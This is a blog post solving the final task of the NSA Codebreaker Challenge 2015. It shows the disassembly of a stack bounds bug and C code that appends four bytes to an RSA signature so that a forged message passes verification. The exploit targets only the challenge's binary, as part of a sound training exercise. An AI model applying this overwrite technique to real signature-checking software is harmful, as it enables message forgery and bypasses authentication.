NSA Codebreaker Challenge 2015: Task 4
Mon 01 August 2016 by bbloughThis is the fourth and final post in my series on the NSA Codebreaker Challenge 2015, covering the fourth task of the challenge. If you haven't read them, you might want to check out the posts on Task 1, Task 2, and Task 3.
Task 4
A military organization has inquired as to whether it would be possible to
spoof messages to the terrorists, making the messages appear to come from the
terror group's leadership. This capability would be a game-changer in their
efforts to disrupt and disband the organization. Program binaries and keys have
already been distributed throughout the terrorist organization, though, so
achieving this effect must be done only by modifying the message file. Your
mission is to investigate whether this is possible and, if so, provide a
message file that would spoof the following message while making it appear as
though it came from the leadership. The message will be sent to the same
high-ranking member that the message from Task 1 was originally sent to.
The message to encode is, "SENSITIVE MESSAGE: Leadership has arranged a meeting
with the local authorities to discuss partnering opportunities. As a
high-ranking member in our organization, your attendance is requested. Meet at
the city police station at 18:00. Be discreet, and come unarmed as to not draw
attention. Mention the pass code cpspxahyvss2s5101lho at the front desk to be
escorted in.". Use the template file from Task 3 to encode this message into.
Since it wasn't possible to rely on a modified binary or keys, the only hope was to find a vulnerability in the existing binary that I could exploit to override the signature verification. Fortunately, after some time digging through the disassembly and following execution in gdb, I found just such a vulnerability.
Due to a bug in the program's bounds checking, it was possible to overwrite the result of the signature verification, and cause the verification to succeed for arbitrary signatures.
On a successful call to RSA_verify
, the program would store the value
0x72d499eb
at a specific stack offset, as shown below.
...
804a905: e8 a6 6f 00 00 call 80518b0 <RSA_verify>
804a90a: 8b 7c 24 18 mov edi,DWORD PTR [esp+0x18]
804a90e: 83 f8 01 cmp eax,0x1
804a911: 19 c0 sbb eax,eax
804a913: f7 d0 not eax
804a915: 25 eb 99 d4 72 and eax,0x72d499eb
804a91a: 89 85 84 00 00 00 mov DWORD PTR [ebp+0x84],eax
...
Later, the program would copy the signature to a buffer located exactly 128 bytes
before the location where the verification result was stored. Normally this
would cause no problem, particularly since a bounds-checking version of
memcpy
was used. However, in this case the destination buffer size was
incorrectly specified as 132 bytes (0x84
) as shown below.
...
804a938: 8b 44 24 38 mov eax,DWORD PTR [esp+0x38]
804a93c: 89 74 24 04 mov DWORD PTR [esp+0x4],esi
804a940: c7 44 24 0c 84 00 00 mov DWORD PTR [esp+0xc],0x84
804a947: 00
804a948: 89 44 24 08 mov DWORD PTR [esp+0x8],eax
804a94c: 8d 45 04 lea eax,[ebp+0x4]
804a94f: 89 04 24 mov DWORD PTR [esp],eax
804a952: e8 89 ed ff ff call 80496e0 <__memcpy_chk@plt>
804a957: 8b 75 00 mov esi,DWORD PTR [ebp+0x0]
804a95a: 81 bd 84 00 00 00 eb cmp DWORD PTR [ebp+0x84],0x72d499eb
...
Since the length of the data copied was based on the size of the signature
read, simply appending 4 additional bytes to the signature would cause the
results of the signature verification stored on the stack to be overwritten
with the chosen value. In this case, the value that needed to be appended
was 0x72d499eb
.
char rawsig[BUFSIZ] = { '\0'};
size_t rawsig_sz = BUFSIZ;
if (!RSA_sign(NID_sha224, digest, 0x1c, rawsig, &rawsig_sz, x)) {
printf("failed to sign message\n");
exit(-1);
}
rawsig[rawsig_sz++] = 0xEB;
rawsig[rawsig_sz++] = 0x99;
rawsig[rawsig_sz++] = 0xD4;
rawsig[rawsig_sz++] = 0x72;
char encsig[BUFSIZ] = {'\0'};
size_t encsig_sz = BUFSIZ;
if (base64encode(rawsig, rawsig_sz, encsig, encsig_sz) != 0) {
printf("failed base64encode");
exit(-1);
}
encsig_sz = strlen(encsig);
Note that since the value would be written directly to the stack, it needed to be in little-endian byte order to work on x86 systems.
Once the encoder was modified, it was just a matter of encoding the message and testing the message with the binary and key from Task 1
user@host:~/nsa_codebreaker_2015/task_4$ ./encode tier3_private.pem message_in.txt tier3_template.txt > secret-message.txt
user@host:~/nsa_codebreaker_2015/task_4$ ../task_1/secret-messenger --reveal --symbol ../task_1/tier1_key.pem --action secret-message.txt
*****SIGNATURE IS VALID*****
Message: SENSITIVE MESSAGE: Leadership has arranged a meeting with the local authorities to discuss partnering opportunities. As a high-ranking member in our organization, your attendance is requested. Meet at the city police station at 18:00. Be discreet, and come unarmed as to not draw attention. Mention the pass code cpspxahyvss2s5101lho at the front desk to be escorted in.
*****SIGNATURE IS VALID*****
This completed Task 4 and the challenge.
Closing Thoughts
This challenge was difficult, but quite fun. Task 3 in particular really pushed me out of my comfort zone. However, it was great practice, and an awesome experience. I'm looking forward to doing more of this in the future.
Kudos to the folks at the NSA who developed this.